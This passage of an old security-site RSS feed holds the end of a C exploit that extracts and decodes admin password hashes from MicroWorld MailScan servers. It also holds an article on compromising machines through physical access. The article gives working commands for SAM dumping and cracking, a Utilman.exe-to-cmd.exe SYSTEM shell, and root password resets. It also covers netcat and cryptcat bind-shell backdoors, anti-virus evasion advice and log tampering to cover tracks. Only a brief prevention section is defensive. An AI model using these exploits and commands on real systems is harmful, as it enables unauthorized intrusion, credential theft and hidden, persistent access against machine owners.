  printf("[-] Server not vuln <img src='http://www.whatsmypass.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> \n");</p>
<p> }<br />
 else<br />
 {<br />
  printf("[+] SERVER: %s %s\n",buffer5,buffer6);<br />
  printf("[+] ADMIN: %s\n",buffer4);<br />
  printf("[+] HASH: %s\n",buffer3);<br />
  printf("[+] PASS: ");</p>
<p>  char bufferfiller[sizeof(buffer3)];<br />
  char temp[1025];</p>
<p>  memset(bufferfiller,0,sizeof(buffer3));</p>
<p>  for (int i=0;i < strlen(buffer3); i++)<br />
  {<br />
   Count++;</p>
<p>   sprintf(temp,"%c",buffer3[i]);<br />
   memcpy(bufferfiller+strlen(bufferfiller),temp,strlen(temp));</p>
<p>   if(Count == 2)<br />
   {<br />
    char buf[255];<br />
    memset(buf,0,sizeof(255));<br />
    sprintf(buf,"%s",bufferfiller);</p>
<p>    decode_hash(buf);<br />
    memset(bufferfiller,0,1025);<br />
    Count = 0;<br />
   }<br />
  }<br />
  printf("\n[+] Done!\n");<br />
 }<br />
 }<br />
 else<br />
 {<br />
  printf("[-] Server not vuln <img src='http://www.whatsmypass.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> \n");<br />
 }</p>
<p> InternetCloseHandle(httpopen);<br />
 InternetCloseHandle(openurl);<br />
 CloseHandle(buffer2);</p>
<p> return 0;<br />
}</p>
<p>int decode_hash(char * string)<br />
{</p>
<p> // Yes it token me allot of work to wrote this down... (only default<br />
charset)<br />
 // if you want more just do it by yourself</p>
<p> if( strcmp( string, "DA" ) == 0 ){printf("{");} if( strcmp( string, "DG"<br />
) == 0 ){printf("}");}<br />
 if( strcmp( string, "BH" ) == 0 ){printf("|");} if( strcmp( string, "HB"<br />
) == 0 ){printf(":");}<br />
 if( strcmp( string, "GJ" ) == 0 ){printf("\"");} if( strcmp( string, "HH"<br />
) == 0 ){printf("<");}<br />
 if( strcmp( string, "HF" ) == 0 ){printf(">");} if( strcmp( string, "HE"<br />
) == 0 ){printf("?");}<br />
 if( strcmp( string, "BA" ) == 0 ){printf("[");} if( strcmp( string, "BG"<br />
) == 0 ){printf("]");}<br />
 if( strcmp( string, "BH" ) == 0 ){printf("\\");} if( strcmp( string, "HA"<br />
) == 0 ){printf(";");}<br />
 if( strcmp( string, "GM" ) == 0 ){printf("'");} if( strcmp( string, "GH"<br />
) == 0 ){printf(",");}<br />
 if( strcmp( string, "GF" ) == 0 ){printf(".");} if( strcmp( string, "GE"<br />
) == 0 ){printf("/");}<br />
 if( strcmp( string, "DF" ) == 0 ){printf("~");} if( strcmp( string, "GK"<br />
) == 0 ){printf("!");}<br />
 if( strcmp( string, "AL" ) == 0 ){printf("@");} if( strcmp( string, "GI"<br />
) == 0 ){printf("#");}<br />
 if( strcmp( string, "GP" ) == 0 ){printf("$");} if( strcmp( string, "GO"<br />
) == 0 ){printf("%");}<br />
 if( strcmp( string, "BF" ) == 0 ){printf("^");} if( strcmp( string, "GN"<br />
) == 0 ){printf("&#038;");}<br />
 if( strcmp( string, "GB" ) == 0 ){printf("*");} if( strcmp( string, "GD"<br />
) == 0 ){printf("(");}<br />
 if( strcmp( string, "BE" ) == 0 ){printf("_");} if( strcmp( string, "GA"<br />
) == 0 ){printf("+");}<br />
 if( strcmp( string, "GG" ) == 0 ){printf("-");} if( strcmp( string, "HG"<br />
) == 0 ){printf("=");}<br />
 if( strcmp( string, "AK" ) == 0 ){printf("a");} if( strcmp( string, "AJ"<br />
) == 0 ){printf("b");}<br />
 if( strcmp( string, "AI" ) == 0 ){printf("c");} if( strcmp( string, "AP"<br />
) == 0 ){printf("d");}<br />
 if( strcmp( string, "AO" ) == 0 ){printf("e");} if( strcmp( string, "AN"<br />
) == 0 ){printf("f");}<br />
 if( strcmp( string, "AM" ) == 0 ){printf("g");} if( strcmp( string, "AD"<br />
) == 0 ){printf("h");}<br />
 if( strcmp( string, "AC" ) == 0 ){printf("i");} if( strcmp( string, "AB"<br />
) == 0 ){printf("j");}<br />
 if( strcmp( string, "AA" ) == 0 ){printf("k");} if( strcmp( string, "AH"<br />
) == 0 ){printf("l");}<br />
 if( strcmp( string, "AG" ) == 0 ){printf("m");} if( strcmp( string, "AF"<br />
) == 0 ){printf("n");}<br />
 if( strcmp( string, "AE" ) == 0 ){printf("o");} if( strcmp( string, "BL"<br />
) == 0 ){printf("p");}<br />
 if( strcmp( string, "BK" ) == 0 ){printf("q");} if( strcmp( string, "BJ"<br />
) == 0 ){printf("r");}<br />
 if( strcmp( string, "BI" ) == 0 ){printf("s");} if( strcmp( string, "BP"<br />
) == 0 ){printf("t");}<br />
 if( strcmp( string, "BO" ) == 0 ){printf("u");} if( strcmp( string, "BN"<br />
) == 0 ){printf("v");}<br />
 if( strcmp( string, "BM" ) == 0 ){printf("w");} if( strcmp( string, "BD"<br />
) == 0 ){printf("x");}<br />
 if( strcmp( string, "BC" ) == 0 ){printf("y");} if( strcmp( string, "BB"<br />
) == 0 ){printf("z");}<br />
 if( strcmp( string, "HK" ) == 0 ){printf("1");} if( strcmp( string, "HJ"<br />
) == 0 ){printf("2");}<br />
 if( strcmp( string, "HI" ) == 0 ){printf("3");} if( strcmp( string, "HP"<br />
) == 0 ){printf("4");}<br />
 if( strcmp( string, "HO" ) == 0 ){printf("5");} if( strcmp( string, "HN"<br />
) == 0 ){printf("6");}<br />
 if( strcmp( string, "HM" ) == 0 ){printf("7");} if( strcmp( string, "HD"<br />
) == 0 ){printf("8");}<br />
 if( strcmp( string, "HC" ) == 0 ){printf("9");} if( strcmp( string, "HL"<br />
) == 0 ){printf("0");}<br />
 if( strcmp( string, "GC" ) == 0 ){printf(")");} if( strcmp( string, "GL"<br />
) == 0 ){printf(" ");}</p>
<p> return 0;<br />
}</p>
<p>// milw0rm.com [2008-09-09]<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/microworld-mailscan-56a-password-reveal/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Physical Access is Total Access</title>
		<link>http://www.whatsmypass.com/physical-access-is-total-access</link>
		<comments>http://www.whatsmypass.com/physical-access-is-total-access#comments</comments>
		<pubDate>Sun, 13 Jul 2008 04:11:32 +0000</pubDate>
		<dc:creator>Dev Team</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Administrator]]></category>
		<category><![CDATA[anti-virus
software]]></category>
		<category><![CDATA[anti-virus software]]></category>
		<category><![CDATA[attacker]]></category>
		<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[circumventing disk encryption]]></category>
		<category><![CDATA[emergent technology]]></category>
		<category><![CDATA[Harddrive encryption]]></category>
		<category><![CDATA[increased pre-computing time]]></category>
		<category><![CDATA[insecure hashing algorithm]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[LM hashing protocol]]></category>
		<category><![CDATA[MacOS]]></category>
		<category><![CDATA[malicious software]]></category>
		<category><![CDATA[Microsoft Vista]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[notoriously insecure hashing algorithm]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[operating systems]]></category>
		<category><![CDATA[proper tools]]></category>
		<category><![CDATA[rcrack *.rt]]></category>
		<category><![CDATA[reading]]></category>
		<category><![CDATA[Registry Editor]]></category>
		<category><![CDATA[remote desktop
tool]]></category>
		<category><![CDATA[remote desktop tool]]></category>
		<category><![CDATA[rt]]></category>
		<category><![CDATA[samdump2 tools]]></category>
		<category><![CDATA[secure NTLM algorithm]]></category>
		<category><![CDATA[Shmoo Group]]></category>
		<category><![CDATA[Swiss army]]></category>
		<category><![CDATA[task manager]]></category>
		<category><![CDATA[These tools]]></category>
		<category><![CDATA[Toshiba HD-A2 Player HD-DVD Player]]></category>
		<category><![CDATA[Utility Manager]]></category>
		<category><![CDATA[web browsers]]></category>
		<category><![CDATA[wireless passwords]]></category>
		<category><![CDATA[wireless settings]]></category>

		<guid isPermaLink="false">http://www.whatsmypass.com/?p=32</guid>
		<description><![CDATA[by LysergicBliss
A cardinal rule of computer security is that once an attacker has
acquired physical access to a machine, it is generally trivial for
that attacker to fully compromise the system. As technology
improves, this is becoming less the case, but for now, if an attacker
has physical access to a machine, the attacker can generally breach
its security.

Table of [...]]]></description>
			<content:encoded><![CDATA[<p>by LysergicBliss<br />
A cardinal rule of computer security is that once an attacker has<br />
acquired physical access to a machine, it is generally trivial for<br />
that attacker to fully compromise the system. As technology<br />
improves, this is becoming less the case, but for now, if an attacker<br />
has physical access to a machine, the attacker can generally breach<br />
its security.<br />
<span id="more-28"></span></p>
<p>Table of Contents<br />
-Disclaimer<br />
-Introduction</p>
<p>Part 1: Gaining Access<br />
-LiveCDs<br />
-Windows Option 1: Cracking the Password<br />
-Windows Option 2: Circumventing the Password<br />
-Windows Option 3: Utilman privilege escalation exploit<br />
-MacOSX: Single User Mode<br />
-Linux: /etc/passwd and /etc/shadow</p>
<p>Part 2: Exploiting the System<br />
-Harvesting Information<br />
-Backdoors and Rootkits</p>
<p>Part 3: Conclusion<br />
-Cleaning Up Your Tracks<br />
-How to Prevent These Attacks<br />
-Conclusion<br />
-Tools/Reading Material</p>
<p>&#8212;&#8212;&#8212;&#8212;-<br />
Disclaimer<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>This article is intended as a basic overview of techniques to<br />
compromise computers given physical access. Most of this information<br />
is already easily available online, but I thought putting it all in<br />
one place and explaining the techniques and tools in a concise way<br />
would be a worthwhile endeavor. The text of this article is entirely<br />
my own. Hopefully, this could serve as an introduction for someone<br />
who is just starting out and might give some ideas about where to go<br />
next. This is not intended to be an in-depth guide to any of the<br />
specific techniques or tools mentioned in the article, but hopefully<br />
I&#8217;ve included enough explanation for basic understanding of what&#8217;s<br />
going on. This article may be re-published without permission,<br />
provided my name remains on it. As computer security is a rapidly<br />
changing field, the contents of this article are relevant today<br />
(7/12/2008), but may be out of date in the near future. However, the<br />
general principles of these attacks will most likely remain the same.</p>
<p>This article is intended for educational use only. The attacks<br />
included should only be attempted with permission from the owner of<br />
the target system. Gaining unauthorized access to a computer system<br />
is a felony, and I am not responsible for any damage caused by the<br />
use of these techniques.</p>
<p>Part 1: Gaining Access</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
LiveCDs<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>A LiveCD is a complete (sometimes extremely minimal) operating system<br />
that can be run straight from a CD (or a USB drive). Simply pop in<br />
the CD before booting, turn on the computer, tell it to boot from CD<br />
(on my machine, you can bring up a boot menu by pressing F12), and<br />
go.</p>
<p>My LiveCD of choice is BackTrack (<a href="http://www.remote-exploit.org/backtrack.html">http://www.remote-exploit.org/backtrack.html</a>).<br />
It is a LiveCD designed for security and penetration testing, so it<br />
comes bundled with dozens of powerful programs that every security<br />
expert should have.</p>
<p>The LiveCD can be invaluable in bypassing operating system security<br />
because it generally allows a user to access the partitions of the<br />
harddrive without actually running the native operating system. What<br />
this means is that if you just want access to the files on a machine,<br />
you can stop reading here: just boot to a LiveCD, navigate to the<br />
proper partition, and enjoy full file access. However, actually<br />
gaining access to the programs, services, and information stored on a<br />
computer may be more complicated, and is dependent on the operating<br />
system. I will briefly cover basic tactics for gaining administrative access<br />
to Windows, MacOS, and many versions of Linux.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Windows Option 1: Cracking the Password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>On most Windows operating systems, user information and passwords are<br />
stored in what is called a SAM file. This file is typically stored<br />
in “WINDOWS/System32/config/SAM”, but is not accessible when<br />
Windows is running. The file itself is encrypted with a key stored<br />
in “WINDOWS/System32/config/system”, which is also not accessible<br />
when Windows is running. However, by booting to a LiveCD, these<br />
files can be accessed, and with the proper tools, decryption of the<br />
SAM file and decryption of the passwords stored within is possible.</p>
<p>For this example, I booted the target Windows machine using BackTrack<br />
3. First, I opened up a terminal and navigated to the directory<br />
containing the SAM and system key, and then copied them to a temp<br />
directory. Then, I navigated to the temp directory and decrypted the<br />
SAM file using the bkhive and samdump2 tools, both of which are<br />
included in BackTrack. The harddrive in this instance was mounted as<br />
“hda2”, but this may vary.</p>
<p>    # cd /mnt/hda2/WINDOWS/System32/config<br />
    # cp SAM /tmp<br />
    # cp system /tmp<br />
    # cd /tmp<br />
    # bkhive system key<br />
    # samdump2 SAM key > /tmp/passwords.txt</p>
<p>This results in the decrypted SAM file being stored as a text file<br />
called “passwords.txt”. Now, the passwords in this file must be<br />
decrypted to plaintext if they are to be usable. On Windows<br />
operating systems prior to Vista, the passwords in the SAM file are<br />
encrypted using a notoriously insecure hashing algorithm called LM<br />
(LanManager). On Vista, the SAM file is encrypted using the more<br />
secure NTLM algorithm.</p>
<p>There are typically three approaches to decrypting these passwords:<br />
rainbow tables, wordlists, and brute-force. The detailed specifics<br />
of these approaches are beyond the scope of this article, but I will<br />
give a brief explanation on these methods.</p>
<p>Rainbow tables use an algorithm based on chains of one-way hash<br />
functions to leverage increased pre-computing time to allow for fast password<br />
cracking. Rainbow tables are specially generated for a specific type of hash<br />
(MD5, LM, etc.), and can take anywhere from minutes to years<br />
to generate, but once they have been generated, they can be a powerful<br />
tool to quickly decrypt passwords. Included in BackTrack is<br />
RainbowCrack (<a href="http://www.antsight.com/zsl/rainbowcrack/">http://www.antsight.com/zsl/rainbowcrack/</a>),<br />
the standard tool for generating and utilizing rainbow tables for decryption.<br />
Pre-generated rainbow tables can be found &#8211; I recommend FreeRainbowTables<br />
(<a href="http://www.freerainbowtables.com/">http://www.freerainbowtables.com/</a>) and the Shmoo Group<br />
(<a href="http://rainbowtables.shmoo.com/">http://rainbowtables.shmoo.com/</a>) for tables.</p>
<p>Sample usage of rtgen for generating rainbow tables of LM hashes (this may take several hours):</p>
<p>    # rtgen lm alpha 1 7 0 2100 8000000 all<br />
    # rtgen lm alpha 1 7 1 2100 8000000 all<br />
    # rtgen lm alpha 1 7 2 2100 8000000 all<br />
    # rtgen lm alpha 1 7 3 2100 8000000 all<br />
    # rtgen lm alpha 1 7 4 2100 8000000 all</p>
<p>Sample usage of RainbowCrack for using these rainbow tables to<br />
decrypt our SAM passwords:</p>
<p>    First sort the tables:<br />
    # rtsort lm_alpha#1-7_0_2100&#215;8000000_all.rt<br />
    # rtsort lm_alpha#1-7_1_2100&#215;8000000_all.rt<br />
    # rtsort lm_alpha#1-7_2_2100&#215;8000000_all.rt<br />
    # rtsort lm_alpha#1-7_3_2100&#215;8000000_all.rt<br />
    # rtsort lm_alpha#1-7_4_2100&#215;8000000_all.rt</p>
<p>    Next, crack the hashes:<br />
    # rcrack *.rt -f passwords.txt</p>
<p>If rainbow tables are not an option due to space constraints (the tables<br />
themselves can be enormous) or other reasons, my next preferred<br />
method is using a wordlist. Wordlists are readily available online<br />
and can allow for a dictionary attack: checking the hashes of every<br />
entry in the wordlist against the hashed password and looking for a<br />
match, which would yield the plaintext password. Wordlists vary from<br />
a simple lower-case dictionary to larger, more comprehensive<br />
combinations of uppercase, lowercase, numbers, and symbols. Using<br />
wordlists is a tradeoff – the larger the wordlist, the higher the<br />
chance of cracking the password, but the longer the cracking will<br />
take. My tool of choice for cracking passwords using wordlists is<br />
John the Ripper (<a href="http://www.openwall.com/john/">http://www.openwall.com/john/</a>), also included in BackTrack.</p>
<p>    Sample usage of John the Ripper with a wordlist:<br />
    # john -w=[wordlist] -f=NT passwords.txt</p>
<p>If neither wordlists nor rainbow tables are an option, the last<br />
resort is a brute-force attack. Brute-forcing is trying literally<br />
every possible combination of letters, numbers, and symbols.<br />
Obviously, this technique is time-consuming, and sometimes<br />
prohibitively so. Often it would take years to brute-force a<br />
reasonably long, strong password. But for shorter passwords, this<br />
may be an option. Again, I prefer to use John the Ripper.</p>
<p>    Sample usage of John the Ripper using brute-force:<br />
    # john –incremental:all -f=NT passwords.txt</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Windows Option 2: Circumventing the Password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Sometimes, an attacker only desires access to the system but does not<br />
need the knowledge of the owner&#8217;s password. It is possible to<br />
completely circumvent the Windows login password by wiping out the<br />
password rather than cracking it. This is usually a much faster,<br />
easier process.</p>
<p>In this attack, I typically boot the target Windows machine using<br />
BackTrack. Then, I navigate to the the “WINDOWS/System32/config”<br />
folder and make a backup of the user&#8217;s SAM and system files. This is<br />
for the purposes of covering my tracks and restoring the original<br />
passwords later. If an attacker were not concerned about stealth,<br />
then this step would be unnecessary. I backup the files to a USB<br />
drive that mounts as “sda1”. This may vary on your system.</p>
<p>    # cd /mnt/hda2/WINDOWS/System32/config<br />
    # cp SAM /mnt/sda1/<br />
    # cp system /mnt/sda1/</p>
<p>Next, I reboot and boot to another of my favorite LiveCDs: the NT Password<br />
and Registry Editor (http://home.eunet.no/pnordahl/ntpasswd/).<br />
By navigating through the menus and following the instructions, it<br />
is trivial to reset a chosen user&#8217;s password or promote an existing<br />
user to Administrator privileges.</p>
<p>When I am done using the system as an Administrator, I make sure to<br />
restore the user&#8217;s original SAM and system file, so there is no<br />
evidence of a password change.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Windows Option 3: Utilman privilege escalation exploit<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Many Windows operating systems allow the running of a service called<br />
Utility Manager prior to actually logging in as a user. This program<br />
is executed with System privileges (a special level higher than<br />
Administrator), so with a LiveCD, it is possible to trick Windows<br />
into executing an arbitrary program with System privileges prior to<br />
logging in. In this example, I&#8217;ll get a root shell by tricking<br />
Windows into executing cmd.exe instead of utilman.exe.</p>
<p>I boot up the target Windows machine with BackTrack, and navigate to<br />
“WINDOWS/System32”. Then I simply backup utilman.exe, and copy<br />
cmd.exe on top of utilman.exe.</p>
<p>    # cd /mnt/hda2/Windows/System32/<br />
    # mv Utilman.exe Utilman.backup<br />
    # cp cmd.exe Utilman.exe<br />
    # reboot</p>
<p>Then, simply boot the system to Windows, and press Windows + U to<br />
open up a command prompt with System privileges. (Note: this method<br />
of exploitation may soon be patched.)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
MacOSX: Single User Mode<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>To boot a Mac into “Single User mode”, simply boot the computer<br />
and press Apple + S when blue first shows up on the screen. Next,<br />
mount the harddrive, and either dump the password and crack it with a<br />
tool like John the Ripper, or simply overwrite the root password:</p>
<p>    # /sbin/mount -wu /<br />
    # /sbin/SystemStarter</p>
<p>    To dump the existing root password:<br />
    # nidump passwd</p>
<p>    To create a new root password:<br />
    # passwd root</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Linux: /etc/passwd and /etc/shadow<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>On most Linux operating systems, password information is stored at<br />
/etc/passwd. A sample entry might look like:</p>
<p>    root:x:0:0:root:/root:/bin/bash</p>
<p>This is the information for the root user account. The “x”<br />
indicates that the password is encrypted and stored in /etc/shadow.<br />
The corresponding shadow entry might look like:</p>
<p>    root:[hash].:14001:0:99999:7:::</p>
<p>This entry contains information on permissions for this user as well<br />
as a hashed password. However, depending on the distribution, Linux<br />
operating systems typically use much more secure hashing functions<br />
including salt values, so decrypting these passwords is not typically<br />
feasible.</p>
<p>Instead, an attacker can reset the password by simply running<br />
BackTrack and checking the /etc/passwd file. If there is an “x”<br />
in the password spot, open the /etc/shadow file and delete the<br />
password hash between the colons. If the hash is in the /etc/passwd<br />
file, simply delete the hash in that file. Then, reboot and login as<br />
root with no password.</p>
<p>Part 2: Exploiting the System</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Harvesting Information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Once an attacker has gained access to a machine, he or she is now<br />
able to begin harvesting information from the system. Most operating<br />
systems have features to store passwords for wireless settings, and<br />
many web browsers will store passwords and reveal them if prompted.<br />
In addition, tools such as keyloggers may be installed to provide<br />
continued information theft after the attacker has left.</p>
<p>There are many tools that are helpful in automatically dumping<br />
private information from a system. On Windows, my favorite is a USB<br />
application called the “USB Switchblade”. I prefer GonZor&#8217;s<br />
version (<a href="http://gonzor228.com/">http://gonzor228.com/</a>). This tool can be used to stealthily<br />
dump information on a system that you have access to, but I use it<br />
for all my information gathering needs. It supports the ability to dump<br />
Windows passwords, browser passwords, wireless passwords, and much<br />
more. In addition, it allows you to silently install the VNC remote desktop<br />
tool, which will open up a port (usually 5800) that can be accessed in a<br />
browser for complete remote control. This segues nicely into the next<br />
section&#8230;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Leaving the Door Open<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>In addition to stealing information from the user, many attackers<br />
prefer to set up some sort of backdoor to allow future access to the<br />
system remotely. My personal favorite is NetCat (<a href="http://netcat.sourceforge.net/">http://netcat.sourceforge.net/</a>),<br />
which has been called the “Swiss army knife of network tools”.<br />
NetCat is a simple utility that can open ports on a machine for<br />
listening for remote connections, and bind those ports to programs.<br />
For example, on a Windows machine I might run the following command<br />
(in the directory that contains my NetCat executable):</p>
<p>    nc -l -p[port] -d -e cmd.exe -L</p>
<p>This opens a port on [port] for listening for a remote connection,<br />
and when a connection is made, it binds cmd.exe to the input and<br />
output of that connection, allowing a remote user to execute<br />
commands. Because using NetCat in such a manner leaves an open<br />
door that any attacker could take advantage of, I prefer to use a<br />
modification of NetCat called CryptCat (<a href="http://sourceforge.net/projects/cryptcat/">http://sourceforge.net/projects/cryptcat/</a>),<br />
which allows for password protection and encrypted channels using a<br />
“-k” parameter to set the password:</p>
<p>    cryptcat -l -p[port] -k[password] -d -e cmd.exe -L</p>
<p>Then, on my remote machine, I connect to the open port to gain<br />
access:</p>
<p>    cryptcat [target IP] [port] -k [password]</p>
<p>These tools are available cross-platform, increasing their<br />
versatility. However, there are dozens of rootkits and backdoors<br />
available for free use. Most are easily detectable by anti-virus<br />
software, so I recommend coding your own backdoors or learning how to<br />
camouflage software to evade anti-virus detection.</p>
<p>Conclusion</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Cleaning Up Your Tracks<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>One of the more difficult tasks for any attacker is leaving behind no<br />
evidence of the infiltration. In general, it is common practice to<br />
backup any files related to passwords before modifying them, and to<br />
restore these files after the attack is finished. Installing a<br />
backdoor is probably the most difficult challenge for the attacker,<br />
because it involves leaving many clues behind. If a user detects<br />
that a backdoor exists, then it will be quickly closed. Popular<br />
techniques to ensure successful backdoors include piggy-backing on<br />
existing network applications (to use an already open port),<br />
masquerading the process as a system service and hiding the execution<br />
of the process from utilities such as the task manager, and<br />
installing the backdoor to execute on startup. These topics are<br />
highly operating system dependent and go beyond the scope of this<br />
article. Finally, many operating systems keep logs of when users<br />
access the system and run programs, so these logs should be located<br />
and modified from LiveCD at the conclusion of an attack.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
How to Prevent These Attacks<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>There are a number of simple steps a user can take to mitigate the<br />
risk of attacks via physical access. Obviously, the first and most<br />
important of these is to not allow physical access to a system by an<br />
attacker. The cardinal rule that physical access equals total access<br />
exists for a reason.</p>
<p>However, there are additional security measures that can be taken.<br />
Harddrive encryption is an emergent technology that prevents the<br />
mounting and reading of material without proper authentication.<br />
There are advanced methods of circumventing disk encryption, but this<br />
preventative measure will prevent almost all attacks of this kind.<br />
Also, it is good practice to enable a BIOS or firmware password on<br />
your system. This will prevent booting to a LiveCD or running other<br />
malicious software on a system. Password strength is also very<br />
important: strong passwords contain lowercase letters, uppercase<br />
letters, numbers, and symbols, and are at least 8 characters long.<br />
Having strong passwords seriously mitigates the risk of having the<br />
password cracked via wordlist or rainbow tables, and makes the use of<br />
brute-force infeasible. Finally, in Windows, make sure to disable<br />
the LM hashing protocol if possible, in favor of the more secure NTLM<br />
hash.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Thank you for taking the time to read this article. I hope it will<br />
be useful to someone.</p>
<p>Tools/Reading Material</p>
<p>BackTrack 3 &#8211; <a href="http://www.remote-exploit.org/backtrack.html">http://www.remote-exploit.org/backtrack.html</a><br />
CryptCat &#8211; <a href="http://sourceforge.net/projects/cryptcat/">http://sourceforge.net/projects/cryptcat/</a><br />
Free Rainbow Tables &#8211; <a href="http://rainbowtables.shmoo.com/">http://rainbowtables.shmoo.com/</a><br />
John the Ripper &#8211; <a href="http://www.openwall.com/john/">http://www.openwall.com/john/</a><br />
NetCat &#8211; <a href="http://netcat.sourceforge.net/">http://netcat.sourceforge.net/</a><br />
NT Password and Registry Editor &#8211; <a href="http://home.eunet.no/pnordahl/ntpasswd/">http://home.eunet.no/pnordahl/ntpasswd/</a><br />
RainbowCrack &#8211; <a href="http://www.antsight.com/zsl/rainbowcrack/">http://www.antsight.com/zsl/rainbowcrack/</a><br />
Shmoo Group Rainbow Tables -<a href="http://rainbowtables.shmoo.com/"> http://rainbowtables.shmoo.com/</a><br />
USB Switchblade &#8211; <a href="http://gonzor228.com/">http://gonzor228.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whatsmypass.com/physical-access-is-total-access/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
